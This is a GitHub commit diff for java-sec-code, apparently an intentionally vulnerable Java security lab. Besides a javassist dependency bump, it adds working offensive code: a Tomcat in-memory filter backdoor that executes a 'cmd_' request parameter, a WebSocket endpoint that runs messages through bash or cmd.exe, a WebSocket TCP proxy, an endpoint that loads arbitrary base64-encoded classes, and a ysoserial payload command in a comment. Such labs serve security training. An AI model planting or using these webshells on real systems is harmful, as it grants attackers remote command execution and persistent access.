Skip to content

Commit c3c41b4

Browse files
committed
fix #25
1 parent 9d66a88 commit c3c41b4

15 files changed

+618
-104
lines changed

java-sec-code.iml

+1-1
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,6 @@
5757
<orderEntry type="library" name="Maven: org.thymeleaf:thymeleaf-spring4:2.1.5.RELEASE" level="project" />
5858
<orderEntry type="library" name="Maven: org.thymeleaf:thymeleaf:2.1.5.RELEASE" level="project" />
5959
<orderEntry type="library" name="Maven: ognl:ognl:3.0.8" level="project" />
60-
<orderEntry type="library" name="Maven: org.javassist:javassist:3.21.0-GA" level="project" />
6160
<orderEntry type="library" name="Maven: org.unbescape:unbescape:1.1.0.RELEASE" level="project" />
6261
<orderEntry type="library" name="Maven: nz.net.ultraq.thymeleaf:thymeleaf-layout-dialect:1.4.0" level="project" />
6362
<orderEntry type="library" name="Maven: org.codehaus.groovy:groovy:2.4.7" level="project" />
@@ -222,5 +221,6 @@
222221
<orderEntry type="library" name="Maven: io.jsonwebtoken:jjwt:0.9.1" level="project" />
223222
<orderEntry type="library" name="Maven: com.auth0:java-jwt:4.0.0" level="project" />
224223
<orderEntry type="library" name="Maven: cn.hutool:hutool-all:5.8.10" level="project" />
224+
<orderEntry type="library" name="Maven: org.javassist:javassist:3.27.0-GA" level="project" />
225225
</component>
226226
</module>

pom.xml

+6
Original file line numberDiff line numberDiff line change
@@ -306,6 +306,12 @@
306306
<version>5.8.10</version>
307307
</dependency>
308308

309+
<dependency>
310+
<groupId>org.javassist</groupId>
311+
<artifactId>javassist</artifactId>
312+
<version>3.27.0-GA</version>
313+
</dependency>
314+
309315
</dependencies>
310316

311317
<dependencyManagement>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
package org.joychou.config;
2+
3+
import com.sun.org.apache.xalan.internal.xsltc.DOM;
4+
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
5+
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
6+
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
7+
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
8+
import java.lang.reflect.Field;
9+
import org.apache.catalina.core.StandardContext;
10+
import java.io.IOException;
11+
import org.apache.catalina.loader.WebappClassLoaderBase;
12+
import org.apache.tomcat.util.descriptor.web.FilterDef;
13+
import org.apache.tomcat.util.descriptor.web.FilterMap;
14+
import java.lang.reflect.Constructor;
15+
import org.apache.catalina.core.ApplicationFilterConfig;
16+
import org.apache.catalina.Context;
17+
import org.springframework.stereotype.Component;
18+
19+
import javax.servlet.*;
20+
import java.util.*;
21+
22+
@Component
23+
public class TomcatFilterMemShell extends AbstractTranslet implements Filter {
24+
static{
25+
try {
26+
System.out.println("Tomcat filter backdoor class is loading...");
27+
final String name = "backdoorTomcatFilter";
28+
final String URLPattern = "/*";
29+
30+
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
31+
// standardContext为tomcat标准上下文,
32+
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
33+
34+
Class<? extends StandardContext> aClass;
35+
try{
36+
// standardContext类名为TomcatEmbeddedContex,TomcatEmbeddedContext父类为StandardContext
37+
// 适用于内嵌式springboot的tomcat
38+
aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
39+
}catch (Exception e){
40+
aClass = standardContext.getClass();
41+
}
42+
Field Configs = aClass.getDeclaredField("filterConfigs");
43+
Configs.setAccessible(true);
44+
// 获取当前tomcat标准上下文中已经存在的filterConfigs
45+
Map filterConfigs = (Map) Configs.get(standardContext);
46+
47+
// 判断下防止重复注入
48+
if (filterConfigs.get(name) == null) {
49+
// 构造filterDef,并将filterDef添加到standardContext的FilterDef中
50+
TomcatFilterMemShell backdoorFilter = new TomcatFilterMemShell();
51+
FilterDef filterDef = new FilterDef();
52+
filterDef.setFilter(backdoorFilter);
53+
filterDef.setFilterName(name);
54+
filterDef.setFilterClass(backdoorFilter.getClass().getName());
55+
standardContext.addFilterDef(filterDef);
56+
57+
// 构造fiterMap,将filterMap添加到standardContext的FilterMap
58+
FilterMap filterMap = new FilterMap();
59+
filterMap.addURLPattern(URLPattern);
60+
filterMap.setFilterName(name);
61+
filterMap.setDispatcher(DispatcherType.REQUEST.name());
62+
standardContext.addFilterMapBefore(filterMap);
63+
64+
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
65+
constructor.setAccessible(true);
66+
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
67+
68+
// 最终将构造好的filterConfig存入StandardContext类的filterConfigs成员变量即可
69+
filterConfigs.put(name, filterConfig);
70+
System.out.println("Tomcat filter backdoor inject success!");
71+
} else System.out.println("It has been successfully injected, do not inject again.");
72+
} catch (Exception e) {
73+
System.out.println(e.getMessage());
74+
}
75+
}
76+
77+
78+
@Override
79+
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
80+
81+
}
82+
83+
@Override
84+
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
85+
86+
}
87+
88+
@Override
89+
public void init(FilterConfig filterConfig) throws ServletException {
90+
91+
}
92+
93+
@Override
94+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
95+
String cmd;
96+
if ((cmd = servletRequest.getParameter("cmd_")) != null) {
97+
Process process = Runtime.getRuntime().exec(cmd);
98+
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
99+
new java.io.InputStreamReader(process.getInputStream()));
100+
StringBuilder stringBuilder = new StringBuilder();
101+
String line;
102+
while ((line = bufferedReader.readLine()) != null) {
103+
stringBuilder.append(line).append('\n');
104+
}
105+
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
106+
servletResponse.getOutputStream().flush();
107+
servletResponse.getOutputStream().close();
108+
return;
109+
}
110+
111+
filterChain.doFilter(servletRequest, servletResponse);
112+
}
113+
114+
115+
@Override
116+
public void destroy() {
117+
118+
}
119+
120+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
package org.joychou.config;
2+
3+
import javax.websocket.*;
4+
import java.io.InputStream;
5+
6+
public class WebSocketsCmdEndpoint extends Endpoint implements MessageHandler.Whole<String> {
7+
private Session session;
8+
9+
@Override
10+
public void onOpen(Session session, EndpointConfig endpointConfig) {
11+
this.session = session;
12+
session.addMessageHandler(this);
13+
}
14+
15+
@Override
16+
public void onClose(Session session, CloseReason closeReason) {
17+
super.onClose(session, closeReason);
18+
}
19+
20+
@Override
21+
public void onError(Session session, Throwable throwable) {
22+
super.onError(session, throwable);
23+
}
24+
25+
@Override
26+
public void onMessage(String s) {
27+
try {
28+
Process process;
29+
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
30+
if (bool) {
31+
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
32+
} else {
33+
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
34+
}
35+
InputStream inputStream = process.getInputStream();
36+
StringBuilder stringBuilder = new StringBuilder();
37+
int i;
38+
while ((i = inputStream.read()) != -1) stringBuilder.append((char) i);
39+
inputStream.close();
40+
process.waitFor();
41+
session.getBasicRemote().sendText(stringBuilder.toString());
42+
} catch (Exception exception) {
43+
exception.printStackTrace();
44+
}
45+
}
46+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
package org.joychou.config;
2+
3+
import javax.websocket.Endpoint;
4+
import javax.websocket.EndpointConfig;
5+
import javax.websocket.MessageHandler;
6+
import javax.websocket.Session;
7+
import java.io.ByteArrayOutputStream;
8+
import java.net.InetSocketAddress;
9+
import java.nio.ByteBuffer;
10+
import java.nio.channels.AsynchronousSocketChannel;
11+
import java.nio.channels.CompletionHandler;
12+
import java.util.HashMap;
13+
import java.util.concurrent.Future;
14+
import java.util.concurrent.TimeUnit;
15+
16+
public class WebSocketsProxyEndpoint extends Endpoint {
17+
long i = 0;
18+
ByteArrayOutputStream baos = new ByteArrayOutputStream();
19+
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String, AsynchronousSocketChannel>();
20+
21+
static class Attach {
22+
public AsynchronousSocketChannel client;
23+
public Session channel;
24+
}
25+
26+
void readFromServer(Session channel, AsynchronousSocketChannel client) {
27+
final ByteBuffer buffer = ByteBuffer.allocate(50000);
28+
Attach attach = new Attach();
29+
attach.client = client;
30+
attach.channel = channel;
31+
client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
32+
@Override
33+
public void completed(Integer result, final Attach scAttachment) {
34+
buffer.clear();
35+
try {
36+
if (buffer.hasRemaining() && result >= 0) {
37+
byte[] arr = new byte[result];
38+
ByteBuffer b = buffer.get(arr, 0, result);
39+
baos.write(arr, 0, result);
40+
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
41+
if (scAttachment.channel.isOpen()) {
42+
scAttachment.channel.getBasicRemote().sendBinary(q);
43+
}
44+
baos = new ByteArrayOutputStream();
45+
readFromServer(scAttachment.channel, scAttachment.client);
46+
} else {
47+
if (result > 0) {
48+
byte[] arr = new byte[result];
49+
ByteBuffer b = buffer.get(arr, 0, result);
50+
baos.write(arr, 0, result);
51+
readFromServer(scAttachment.channel, scAttachment.client);
52+
}
53+
}
54+
} catch (Exception ignored) {
55+
}
56+
}
57+
58+
@Override
59+
public void failed(Throwable t, Attach scAttachment) {
60+
t.printStackTrace();
61+
}
62+
});
63+
}
64+
65+
void process(ByteBuffer z, Session channel) {
66+
try {
67+
if (i > 1) {
68+
AsynchronousSocketChannel client = map.get(channel.getId());
69+
client.write(z).get();
70+
z.flip();
71+
z.clear();
72+
} else if (i == 1) {
73+
String values = new String(z.array());
74+
String[] array = values.split(" ");
75+
String[] addrarray = array[1].split(":");
76+
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
77+
int po = Integer.parseInt(addrarray[1]);
78+
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
79+
Future<Void> future = client.connect(hostAddress);
80+
try {
81+
future.get(10, TimeUnit.SECONDS);
82+
} catch (Exception ignored) {
83+
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
84+
return;
85+
}
86+
map.put(channel.getId(), client);
87+
readFromServer(channel, client);
88+
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
89+
}
90+
} catch (Exception ignored) {
91+
}
92+
}
93+
94+
@Override
95+
public void onOpen(final Session session, EndpointConfig config) {
96+
i = 0;
97+
session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20);
98+
session.setMaxTextMessageBufferSize(1024 * 1024 * 20);
99+
session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
100+
@Override
101+
public void onMessage(ByteBuffer message) {
102+
try {
103+
message.clear();
104+
i++;
105+
process(message, session);
106+
} catch (Exception ignored) {
107+
}
108+
}
109+
});
110+
}
111+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
package org.joychou.controller;
2+
3+
import org.slf4j.Logger;
4+
import org.slf4j.LoggerFactory;
5+
import org.springframework.web.bind.annotation.RequestMapping;
6+
import org.springframework.web.context.request.RequestContextHolder;
7+
import org.springframework.web.context.request.ServletRequestAttributes;
8+
9+
import javax.servlet.http.HttpServletRequest;
10+
11+
public class ClassDataLoader {
12+
13+
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
14+
15+
@RequestMapping("/classloader")
16+
public void classData() {
17+
try{
18+
ServletRequestAttributes sra = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
19+
HttpServletRequest request = sra.getRequest();
20+
String classData = request.getParameter("classData");
21+
22+
byte[] classBytes = java.util.Base64.getDecoder().decode(classData);
23+
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
24+
defineClassMethod.setAccessible(true);
25+
Class cc = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), null, classBytes, 0, classBytes.length);
26+
cc.newInstance();
27+
}catch(Exception e){
28+
logger.error(e.toString());
29+
}
30+
}
31+
}

src/main/java/org/joychou/controller/Deserialize.java

+5-11
Original file line numberDiff line numberDiff line change
@@ -29,17 +29,14 @@ public class Deserialize {
2929
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
3030

3131
/**
32-
* java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
33-
* Add the result to rememberMe cookie.
34-
* <p>
35-
* http://localhost:8080/deserialize/rememberMe/vuln
32+
* java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 <br>
33+
* <a href="http://localhost:8080/deserialize/rememberMe/vuln">http://localhost:8080/deserialize/rememberMe/vuln</a>
3634
*/
3735
@RequestMapping("/rememberMe/vuln")
3836
public String rememberMeVul(HttpServletRequest request)
3937
throws IOException, ClassNotFoundException {
4038

4139
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
42-
4340
if (null == cookie) {
4441
return "No rememberMe cookie. Right?";
4542
}
@@ -56,12 +53,9 @@ public String rememberMeVul(HttpServletRequest request)
5653
}
5754

5855
/**
59-
* Check deserialize class using black list.
60-
* Or
61-
* Update commons-collections to 3.2.2 or above.
62-
* Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.
63-
* <p>
64-
* http://localhost:8080/deserialize/rememberMe/security
56+
* Check deserialize class using black list. <br>
57+
* Or update commons-collections to 3.2.2 or above.Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.<br>
58+
* <a href="http://localhost:8080/deserialize/rememberMe/security">http://localhost:8080/deserialize/rememberMe/security</a>
6559
*/
6660
@RequestMapping("/rememberMe/security")
6761
public String rememberMeBlackClassCheck(HttpServletRequest request)

src/main/java/org/joychou/controller/Dotall.java

-1
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,6 @@ public class Dotall {
1818

1919
/**
2020
* <a href="https://github.com/spring-projects/spring-security/compare/5.5.6..5.5.7">官方spring-security修复commit记录</a>
21-
* 漏洞描述:h
2221
*/
2322
public static void main(String[] args) throws Exception{
2423
Pattern vuln_pattern = Pattern.compile("/black_path.*");

0 commit comments

Comments
 (0)